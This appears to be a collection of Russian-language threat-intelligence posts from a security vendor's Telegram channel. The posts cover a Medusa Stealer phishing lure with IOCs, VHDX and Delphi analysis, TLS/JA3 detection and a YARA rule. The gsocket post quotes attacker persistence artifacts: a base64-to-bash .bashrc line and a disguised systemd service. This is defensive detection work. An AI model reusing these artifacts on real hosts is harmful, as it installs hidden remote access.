Так все же, как правильно? 🇨🇦
Anonymous Poll
21%
Хеш 😐
31%
Хэш 😒
3%
Хаш 🧠
4%
[ti ⌨️
2%
Криптосигнатура 🤓
15%
Контрольная сумма 🍞
1%
Идентификатор 🕵️♀️
3%
Чек-сумма 🧮
0%
Кодировка данных 💾
20%
5b717f9e843de36448780e90f00942fc 😃
😁10👍3🔥1
Полковники пишут первыми! (🔞 )
В коллекции вредоносных рассылок от имени правоохранительных органов пополнение.
В сентябре нескольким адресатам было отправлено письмо от «Следственного комитета» с повесткой для вызова на допрос в качестве свидетеля по уголовному делу (скриншот 1).
Сама повестка — это PDF-документ, который при попытке открыть его грустно констатирует, что просмотреть содержимое не получается и нужно скачать Adobe Font Package, чтобы данные отобразились корректно (скриншот 2).
🔗 Ссылка ведет на домен
К сожалению, файл представляет собой Medusa Stealer, поэтому прочитать документ так и не получится…
🧐 Если внимательно приглядеться к письму, можно заметить пасхалки — и разоблачить злоумышленников:
• В поле отправителя указано
• Письмо отправлено c IP-адреса, не принадлежащего организации, от имени которой якобы пришла повестка.
• «
IOCs
Net:
Files:
#ti #phishing #ioc
@ptescalator
В коллекции вредоносных рассылок от имени правоохранительных органов пополнение.
В сентябре нескольким адресатам было отправлено письмо от «Следственного комитета» с повесткой для вызова на допрос в качестве свидетеля по уголовному делу (скриншот 1).
Сама повестка — это PDF-документ, который при попытке открыть его грустно констатирует, что просмотреть содержимое не получается и нужно скачать Adobe Font Package, чтобы данные отобразились корректно (скриншот 2).
adobe.updatedownloader.com, откуда, если обратиться к нему с российского IP-адреса, действительно скачивается файл с именем:
adobe_PDF_reader_fonts_update_24.2.5_Win_x86-64.exe (bea1dfdae82c67aac7a262c25dffadc0190270e2412db0c051da9ffab8e3a157)
К сожалению, файл представляет собой Medusa Stealer, поэтому прочитать документ так и не получится…
🧐 Если внимательно приглядеться к письму, можно заметить пасхалки — и разоблачить злоумышленников:
• В поле отправителя указано
[email protected] — это легитимный адрес электронной почты государственного органа, однако письмо не содержит подписи DKIM, позволяющей проверить подлинность отправителя.• Письмо отправлено c IP-адреса, не принадлежащего организации, от имени которой якобы пришла повестка.
• «
СЛЕДСТВЕННIЙ КОМИТЕТ» в шапке письма.IOCs
Net:
updatedownloader.com
62.197.48.140
5.42.73.251
Files:
bea1dfdae82c67aac7a262c25dffadc0190270e2412db0c051da9ffab8e3a157
7fa0642a96e8e9a796a4dba55877d1c730c64f257956872c3f6d405417e30024
#ti #phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👍11👾4🤯2
В начале сентября эксперты группы киберразведки TI департамента PT ESC обнаружили интересный VHDX-файл, который оказался частью цепочки атаки на организации в странах Азии. Мы не знаем точного исходного вектора, но, скорее всего, файл распространялся через фишинг.
✍️ VHDX-файл — это виртуальный диск, который можно подключить к системе начиная с Windows 8 двойным нажатием мыши. Он будет считаться логическим томом до выключения системы.
Как и любой контейнер, VHDX-файл может выступать в роли вредоносного объекта. Исследователь Уилл Дорманн в посте от 2019 года рассказал, что с помощью специально подготовленного образа можно спровоцировать системную ошибку в Windows и вызвать «синий экран смерти».
👾 В атаках мы редко видим использование этого контейнера, однако виртуальный диск может содержать в себе вредоносные файлы, которые должна запустить жертва. Хакер может убедить жертву сделать это через техники социальной инженерии. Для начала заражения устройства жертве достаточно открыть присланный ей диск и запустить вредоносный файл внутри него. Схема заражения (например, как на первом скриншоте) такая же, как в случае, если бы пользователю прислали архив с таким же вредоносным вложенным файлом.
💡 Для хакеров преимущество в использовании VHDX-файлов (как и в использовании ZIP-файлов) заключается в том, что они не подпадают под действие MoTW (Mark of the Web): при запуске документа из этих контейнеров не включается режим Protected View, а Windows SmartScreen не предупреждает жертву об опасности. Стоит также отметить, что под VHDX-формат приспособлено меньшее количество антивирусных решений, чем под те же ISO-файлы. Следовательно, при попадании в систему образ вряд ли будет моментально удален этим СЗИ.
Хотя VHDX-файлы и редко используются в атаках, TI-аналитику, как и любому другому исследователю, важно уметь качественно анализировать эти файлы, чтобы не упустить важные детали, которые могут помочь провести атрибуцию или дать дополнительные IoC, позволяющие построить связи с другими атаками.
Хакеры допускают ошибки: они могут использовать один VHDX-файл в двух разных атаках или же загрузить ошибочные файлы. В любом из этих случаев злоумышленники, как правило, удаляют файлы, а так как это диск, то аналитик может попробовать их восстановить (в том числе с точными датами создания этих файлов) — другими словами, аналитик может построить таймлайн изменения файлов на диске. Это можно сделать с помощью специальных инструментов для проведения форензики.
• Создание виртуальной машины и монтирование диска в нее. Это позволит посмотреть файлы в проводнике и увидеть то, что получила жертва атаки (но не удаленные файлы).
• Autopsy — универсальный инструмент для исследования образов, который может получать данные из множества файлов разных типов, физических дисков, сырых образов. Есть таймлайн изменения файлов внутри образа (пример — на втором скриншоте).
• FTK Imager — аналог программы Autopsy, показавший наилучшие результаты в извлечении удаленных файлов с диска.
В скором времени мы опубликуем статью, в которой детально разберем эту атаку. Следите за новостями.
#ti #tool #tip #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16❤6👍6🐳1🆒1
Когда активно занимаешься реверсом, рано или поздно возникает ситуация, когда на твоем пути появляется исполняемый файл на Delphi. Анализ объектов в Delphi требует особого подхода, и вручную это делать сложно. Однако такой анализ можно значительно ускорить с помощью автоматизации, если знать, как именно устроена структура объектов.
🕵️ Первый шаг при анализе Delphi — не забыть переключить параметр компилятора в
Options → Compiler Options → Compiler, тогда IDA будет лучше обрабатывать вызовы функций.Классы в Delphi создаются через функцию
ClassCreate, которая получает на вход указатель на структуру класса и вызывает в нем функцию Tobject_NewInstance путем вычитания оффсета из указателя на VMT. 👀 Сама структура класса в Delphi выглядит следующим образом (пример на скриншоте 1):
struct DelphiClassInternal
{
DWORD* vmt;
DWORD* InterfaceTable; используется только для интерфейсов
DWORD* PAutoTable;
DWORD* PInitTable;
DWORD* TypeInfo;
DWORD* FieldTable;
DWORD* MethodTable;
DWORD* DynamicMethodTable;
}
💼 Рассмотрим содержимое полей
TypeInfo, MethodTable и FieldTable подробнее, поскольку в них больше всего полезной для анализа информации.➡️ TypeInfo
В Delphi каждый тип объекта имеет свой идентификатор. Как видно на скриншоте 2, для нашего объекта выставлен идентификатор 7 — тип
Class. В зависимости от этого типа, для объекта указывается соответствующий контекст. Для классов это информация о Property и указатель на родительский тип. Зная имя Property, нетрудно понять и разметить Get/Set-функции. Восстановление этих имен позволяет сильно упростить восприятие некоторых блоков кода. Пример на скриншоте 3.➡️ MethodTable
Внимательный читатель заметит, что на скриншоте 1 присутствуют имена некоторых методов. Достать их можно, заглянув в таблицу опубликованных (Published) методов (текущего и родительского классов). Delphi не хранит информацию о других типах методов: приватных, защищенных и публичных. Помимо имени, там приводятся: возвращаемый тип, количество аргументов, их типы и имена.
Псевдоструктуру метода можно представить так (пример на скриншоте 4):
struct CMArg
{
DWORD* TypeInfo;
WORD UNK;
BYTE NameLen;
char Name[];
BYTE UNK2[3];
}
struct ClassPubMethod
{
WORD EntrySize;
DWORD* MethodPtr;
BYTE NameLen;
char Name[];
WORD W_UNK1;
DWORD* ReturnType;
WORD W_UNK2;
BYTE ArgCount;
CMArg Args[];
}
Из-за механизма наследования методов в Delphi восстановление даже части имен методов имеет большую пользу, если сделать это глобально, для всех классов. Затем это можно использовать среди прочего и для генерации структуры VMT класса с осмысленными именами. Пример — на скриншоте 5.
➡️ FieldTable
Заглянув в
Class → FieldTable, можно найти большое количество информации о переменных (пример на скриншоте 6). Представлена она может быть в двух вариантах: 1. В виде имени, оффсета и номера типа переменной (из таблицы типов). Первые два байта в
FieldTable — количество элементов в этой таблице, следующие четыре — указатель на таблицу типов.2. В виде имени, оффсета и указателя на тип переменной (таблица начинается сразу после таблицы из п. 1).
Структура переменных имеет следующий вид:
struct VarTypeTable
{
WORD Count;
DWORD* Entries[];
}
struct ClassVar
{
DWORD* TypeInfo;
WORD VarOffset;
WORD UNK;
BYTE NameLen;
char Name[];
}
struct TableClassVar
{
WORD VarOffet;
WORD UNK;
WORD TableTypeNum;
BYTE NameLen;
char Name[];
}
Исходя из полученной информации о переменных можно составить структуру класса (нужно не забыть, что переменные также наследуются из родительских классов). Пример — на скриншоте 7.
🤔 Резюме: в Delphi присутствует большое количество RTTI-информации, за счет которой можно относительно просто разметить большое количество функций или восстановить структуру классов для упрощения статического анализа.
#TI #Delphi #Reverse
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👏6👍5👎1😱1💩1🤡1
😁12🤡7👻2🎃1
TLS в сети: как быть 🤷♂️
Ты — мощный движок разбора сетевого трафика.
Ты работаешь на благо системы защиты информации, перемалывая терабайты проходящих через тебя данных.
В твоих недрах крутятся десятки тысяч нефолзящих экспертных правил, тебе не страшны любые протоколы L7 — HTTP, SMTP, FTP, DNS.
Но внезапно в тебя подают какую-то невнятную мешанину из байтиков сетевого соединения по 443-му порту, которая начинается с магических |1603| 🧙
«О нет!». Это же TLS, декрипт которого никто не удосужился сделать, и его инкапсулированное содержимое теперь скрыто от тебя. Но ведь внутри может быть что-то плохое, что-то вредоносное. Как же быть?
Не расстраивайся! TLS-трафик в целом поддается анализу, хоть и не контентному. Можно выделить два основных метода:
1. Анализ информации из заголовков и сертификатов.
2. Анализ характеристик TCP-сессий.
Анализ информации из заголовков и сертификатов (актуально для версии TLS ниже 1.3)
Основные параметры заголовков, которые можно проанализировать:
• Версия протокола. Например, SSL 3.0 или TLS 1.0.
• Наборы шифров (cipher suites) — указывают на алгоритмы, которые будут использоваться для шифрования данных и создания MAC (Message Authentication Code).
• Алгоритмы сжатия.
• Порядок и типы поддерживаемых расширений. Например, расширение ALPN (Application-Layer Protocol Negotiation) используется для согласования протокола прикладного уровня (например, HTTP/2 или HTTP/3).
Аспекты анализа сертификатов:
• Цепочка сертификации: кто выдал сертификат (центр сертификации, CA), является ли цепочка валидной и корректно ли настроена.
• Срок действия сертификата: просроченные или неправильно настроенные сертификаты свидетельствуют о небезопасной конфигурации сервера или атаке, например о MITM (man in the middle).
• Подозрительные имена серверов (Common Name): они могут сигнализировать о поддельных или скомпрометированных сертификатах. Например, С2-сервер VenomRAT по умолчанию предоставляет интересную информацию о себе (скриншот 1).
🫵 Дополнительно можно анализировать цифровые отпечатки — уникальные идентификаторы клиентов, устанавливающих TLS-соединения, или серверов, принимающих такие соединения.
В основе работы JA3 и JA3s лежат сбор характеристик во время TLS-рукопожатия и генерация отпечатка. JA3 — это хеш-функция, которая вычисляется с помощью алгоритма MD5 на основе параметров, передаваемых клиентом при установке TLS-соединения. В результате формируется уникальный идентификатор клиента — JA3-отпечаток (WARNING — может фолзить!).
Например, JA3
Детектирование на основании JA3 и JA3s поддерживают практически все сетевые СЗИ, в том числе и продукты Positive Technologies — PT NAD и PT Sandbox. Анализ TLS 1.3 — более сложная задача, но об этом в другой раз.
Анализ характеристик TCP-сессий
Анализатор может смотреть на характеристики TCP-сессий, инкапсулирующих зашифрованный трафик: на размер пакетов, их частоту и временные интервалы между ними. Даже не видя содержимого пакетов, DPI-система способна сделать выводы о типе трафика или возможной аномалии.
В качестве примера можно привести бэкдор, который все делал правильно: «притащил» библиотеку для работы с SSL, пытаясь скрыть свои очень важные данные. Однако в сети он вел себя весьма интересно: клиент (то есть бэкдор) всегда отправлял на С2-сервер полезную нагрузку TCP размером 163 байта, а сервер отвечал ему полезной нагрузкой размером 166 байт (скриншот 3). Это или какой-то Heartbeat, или волшебный padding.
Понаблюдав за бэкдором некоторое время, убедившись, что это поведение не просто аномалия, а повторяющийся шаблон, мы с чистой совестью покрыли его детектом.
Вывод: увидел TLS — не расстраивайся.
Happy hunting! 🎯
#detect #malware #network #hunt #tips
@ptescalator
Ты — мощный движок разбора сетевого трафика.
Ты работаешь на благо системы защиты информации, перемалывая терабайты проходящих через тебя данных.
В твоих недрах крутятся десятки тысяч нефолзящих экспертных правил, тебе не страшны любые протоколы L7 — HTTP, SMTP, FTP, DNS.
Но внезапно в тебя подают какую-то невнятную мешанину из байтиков сетевого соединения по 443-му порту, которая начинается с магических |1603| 🧙
«О нет!». Это же TLS, декрипт которого никто не удосужился сделать, и его инкапсулированное содержимое теперь скрыто от тебя. Но ведь внутри может быть что-то плохое, что-то вредоносное. Как же быть?
Не расстраивайся! TLS-трафик в целом поддается анализу, хоть и не контентному. Можно выделить два основных метода:
1. Анализ информации из заголовков и сертификатов.
2. Анализ характеристик TCP-сессий.
Анализ информации из заголовков и сертификатов (актуально для версии TLS ниже 1.3)
Основные параметры заголовков, которые можно проанализировать:
• Версия протокола. Например, SSL 3.0 или TLS 1.0.
• Наборы шифров (cipher suites) — указывают на алгоритмы, которые будут использоваться для шифрования данных и создания MAC (Message Authentication Code).
• Алгоритмы сжатия.
• Порядок и типы поддерживаемых расширений. Например, расширение ALPN (Application-Layer Protocol Negotiation) используется для согласования протокола прикладного уровня (например, HTTP/2 или HTTP/3).
Аспекты анализа сертификатов:
• Цепочка сертификации: кто выдал сертификат (центр сертификации, CA), является ли цепочка валидной и корректно ли настроена.
• Срок действия сертификата: просроченные или неправильно настроенные сертификаты свидетельствуют о небезопасной конфигурации сервера или атаке, например о MITM (man in the middle).
• Подозрительные имена серверов (Common Name): они могут сигнализировать о поддельных или скомпрометированных сертификатах. Например, С2-сервер VenomRAT по умолчанию предоставляет интересную информацию о себе (скриншот 1).
🫵 Дополнительно можно анализировать цифровые отпечатки — уникальные идентификаторы клиентов, устанавливающих TLS-соединения, или серверов, принимающих такие соединения.
В основе работы JA3 и JA3s лежат сбор характеристик во время TLS-рукопожатия и генерация отпечатка. JA3 — это хеш-функция, которая вычисляется с помощью алгоритма MD5 на основе параметров, передаваемых клиентом при установке TLS-соединения. В результате формируется уникальный идентификатор клиента — JA3-отпечаток (WARNING — может фолзить!).
Например, JA3
a85be79f7b569f1df5e6087b69deb493 однозначно указывает на соединение ВПО Remcos с С2-сервером (скриншот 2). Детектирование на основании JA3 и JA3s поддерживают практически все сетевые СЗИ, в том числе и продукты Positive Technologies — PT NAD и PT Sandbox. Анализ TLS 1.3 — более сложная задача, но об этом в другой раз.
Анализ характеристик TCP-сессий
Анализатор может смотреть на характеристики TCP-сессий, инкапсулирующих зашифрованный трафик: на размер пакетов, их частоту и временные интервалы между ними. Даже не видя содержимого пакетов, DPI-система способна сделать выводы о типе трафика или возможной аномалии.
В качестве примера можно привести бэкдор, который все делал правильно: «притащил» библиотеку для работы с SSL, пытаясь скрыть свои очень важные данные. Однако в сети он вел себя весьма интересно: клиент (то есть бэкдор) всегда отправлял на С2-сервер полезную нагрузку TCP размером 163 байта, а сервер отвечал ему полезной нагрузкой размером 166 байт (скриншот 3). Это или какой-то Heartbeat, или волшебный padding.
Понаблюдав за бэкдором некоторое время, убедившись, что это поведение не просто аномалия, а повторяющийся шаблон, мы с чистой совестью покрыли его детектом.
Вывод: увидел TLS — не расстраивайся.
Happy hunting! 🎯
#detect #malware #network #hunt #tips
@ptescalator
🔥31👍8✍5👎3💩2🤡2
Gsocket: как найти один из самых популярных инструментов 🙂
В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы часто обнаруживаем на них различные хакерские инструменты.
Одним из самых популярных из них является gsocket. Хакеры часто используют его для подключения к скомпрометированным узлам.
🔦 Для обнаружения признаков установки инструмента можно искать следующее:
1️⃣ Сервис с именем D-Bus System Connection Bus:
Пример:
2️⃣ Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по следующему паттерну:
👀 Пример (service-файл):
👀 Пример (.bashrc):
📌 Для обнаружения признаков наличия инструмента на периметре можно поискать узлы, взаимодействующие с gsocket․io, а также серверами из поста.
📃 Рекомендации по дальнейшим действиям:
1️⃣ Заблокировать адреса управляющих серверов;
2️⃣ Удалить файлы, относящиеся к gsocket, а также изменить файлы, через которые gsocket закрепился в системе;
3️⃣ Перезагрузить скомпрометированный хост;
4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).
#DFIR #detect #hacktool #tips #linux
@ptescalator
В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы часто обнаруживаем на них различные хакерские инструменты.
Одним из самых популярных из них является gsocket. Хакеры часто используют его для подключения к скомпрометированным узлам.
1️⃣ Сервис с именем D-Bus System Connection Bus:
systemctl | grep "D\-Bus System Connection Bus"
Пример:
EVILSERVICE.service loaded active running D-Bus System Connection Bus
2️⃣ Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по следующему паттерну:
'D\-Bus System Connection Bus|GS_ARGS\=|echo .+\|base64 \-d\|bash.+seed prng.+kernel'
egrep -ar 'D\-Bus System Connection Bus|GS_ARGS\=' /usr/lib/systemd/ /{lib,run,etc}/systemd/
egrep -aor 'echo .+\|base64 \-d\|bash.+seed prng.+kernel' /
👀 Пример (service-файл):
Description=D-Bus System Connection Bus
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-ilq' exec -a '[abc]' '/usr/bin/abc'"
[Install]
WantedBy=multi-user.target
👀 Пример (.bashrc):
# ~/.bashrc: executed by bash(1) for non-login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAxIGFiYyAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS91c2VyLy5jb25maWcvaHRvcC9hYmMuZGF0IC1saXFEIiBleGVjIC1hICdbYWJjNXJyXScgJy9ob21lL3VzZXIvLmNvbmZpZy9odG9wL2FiYycgMj4vZGV2L251bGwpCg==|base64 -d|bash;} 2>/dev/null #34uhu4gg3g3g34g3 >/dev/random # seed prng abc-kernel
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
....
📌 Для обнаружения признаков наличия инструмента на периметре можно поискать узлы, взаимодействующие с gsocket․io, а также серверами из поста.
📃 Рекомендации по дальнейшим действиям:
1️⃣ Заблокировать адреса управляющих серверов;
2️⃣ Удалить файлы, относящиеся к gsocket, а также изменить файлы, через которые gsocket закрепился в системе;
3️⃣ Перезагрузить скомпрометированный хост;
4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).
#DFIR #detect #hacktool #tips #linux
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22🔥6❤4
Везде говорят: учите базу! А как ее потом использовать?
Например, вот так👇
1. Base64 — алгоритм кодирования, с помощью которого можно закодировать любые данные в виде последовательности букв английского алфавита, цифр и пары спецсимволов. Часто используется для передачи бинарных данных там, где поддерживается только текст. Или для «обфускации».
А еще это легальная возможность в PowerShell передавать код на выполнение через командную строку (очень удобно, если не хочется мучиться с экранированием специальных символов).
2. Запрос на создание сертификата (CSR) — обычно файл, содержащий открытый ключ пользователя и некоторую дополнительную информацию, описывающую владельца ключа.
Запрос на создание сертификата может выглядеть примерно так:
Похожим образом выглядят сертификаты, ключи и другие подобные данные. Варианты заголовков описаны в RFC 7468.
3. Размер файла, содержащего сертификат открытого ключа, закрытый ключ или запрос на создание сертификата, в основном зависит от длины ключа.
Сейчас актуальной является рекомендация по длине ключа — минимум 2048 бит. Встречаются ключи длиной 3072, 4096 бит. Можно представить себе, что где-то может использоваться и ключ длиной 8192 бита. И это справедливо для алгоритма RSA. Для алгоритма ECDSA, используемого все чаще, длины ключей на порядок меньше, приемлемой считается длина всего в 384 бита.
И теперь, когда ты вспомнил базу, ты можешь легко и просто понять, что файл, который на первый взгляд содержит запрос на создание сертификата, но при этом имеет размер около 7 мегабайт 😱, не может не вызывать подозрений.
#tips
@ptescalator
Например, вот так
1. Base64 — алгоритм кодирования, с помощью которого можно закодировать любые данные в виде последовательности букв английского алфавита, цифр и пары спецсимволов. Часто используется для передачи бинарных данных там, где поддерживается только текст. Или для «обфускации».
А еще это легальная возможность в PowerShell передавать код на выполнение через командную строку (очень удобно, если не хочется мучиться с экранированием специальных символов).
2. Запрос на создание сертификата (CSR) — обычно файл, содержащий открытый ключ пользователя и некоторую дополнительную информацию, описывающую владельца ключа.
Запрос на создание сертификата может выглядеть примерно так:
----BEGIN NEW CERTIFICATE REQUEST-----
тут что-то, закодированное в Base64
-----END NEW CERTIFICATE REQUEST-----
Похожим образом выглядят сертификаты, ключи и другие подобные данные. Варианты заголовков описаны в RFC 7468.
3. Размер файла, содержащего сертификат открытого ключа, закрытый ключ или запрос на создание сертификата, в основном зависит от длины ключа.
Сейчас актуальной является рекомендация по длине ключа — минимум 2048 бит. Встречаются ключи длиной 3072, 4096 бит. Можно представить себе, что где-то может использоваться и ключ длиной 8192 бита. И это справедливо для алгоритма RSA. Для алгоритма ECDSA, используемого все чаще, длины ключей на порядок меньше, приемлемой считается длина всего в 384 бита.
И теперь, когда ты вспомнил базу, ты можешь легко и просто понять, что файл, который на первый взгляд содержит запрос на создание сертификата, но при этом имеет размер около 7 мегабайт 😱, не может не вызывать подозрений.
#tips
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14🔥9❤4
К примеру, недавно к нам в SOC попало очередное подозрительно письмо. И мы сразу поняли, что CSR-файл, притаившийся внутри, — совсем не то, чем пытается казаться 👇
А когда мы заглянули внутрь содержимого этого файла, то сразу заметили, что среди вроде бы хаотичного нагромождения букв, то тут, то там попадаются однотипные строки IDAw, и их там очень много (скриншот 1).
Кажется, Вселенная подает нам какой-то знак 😀.
В чем же тут дело?
Отгадка проста: оказывается, хакеры решили спрятать под видом запроса на сертификат не просто бинарь с малварью, а его HEX-дамп. А так как HEX-дамп исполняемого файла содержит много пробелов и нулей, то и в кодированном виде получается большое число последовательностей IDAw (скриншот 2).
Выводы:
1. Учите и применяйте базу.
2. Обращайте внимание на знаки.
3. Автоматизируйте выявление по известным признакам, если можете 👇
P.S.
Идея для YARA-правила, которое может помочь в выявлении таких подозрительных «запросов на создание сертификатов»:
P.P.S
О других способах выявления случаев, когда хакеры маскируют вредоносные файлы под сертификаты, можно почитать в блоге NVISO.
#tips #yara #phishing
@ptescalator
$ file notarealname.csr
notarealname.csr: RFC1421 Security Certificate Signing Request, ASCII text, with CRLF, CR line terminators
$ ls -lh notarealname.csr
-rwxrwxrwx 1 user user 7.3M Sep 26 17:35 notarealname.csr
А когда мы заглянули внутрь содержимого этого файла, то сразу заметили, что среди вроде бы хаотичного нагромождения букв, то тут, то там попадаются однотипные строки IDAw, и их там очень много (скриншот 1).
Кажется, Вселенная подает нам какой-то знак 😀.
В чем же тут дело?
Отгадка проста: оказывается, хакеры решили спрятать под видом запроса на сертификат не просто бинарь с малварью, а его HEX-дамп. А так как HEX-дамп исполняемого файла содержит много пробелов и нулей, то и в кодированном виде получается большое число последовательностей IDAw (скриншот 2).
Выводы:
1. Учите и применяйте базу.
2. Обращайте внимание на знаки.
3. Автоматизируйте выявление по известным признакам, если можете 👇
P.S.
Идея для YARA-правила, которое может помочь в выявлении таких подозрительных «запросов на создание сертификатов»:
rule SuspCertificateRequest {
strings:
$begin_1 = "-----BEGIN NEW CERTIFICATE REQUEST-----"
$end_1 = "-----END NEW CERTIFICATE REQUEST-----"
$begin_2 = "-----BEGIN CERTIFICATE REQUEST-----"
$end_2 = "-----END CERTIFICATE REQUEST-----"
condition:
(@end_1[1]-@begin_1[1] > 10240) or (@end_2[1]-@begin_2[1] > 10240)
}
P.P.S
О других способах выявления случаев, когда хакеры маскируют вредоносные файлы под сертификаты, можно почитать в блоге NVISO.
#tips #yara #phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍11❤5🥰3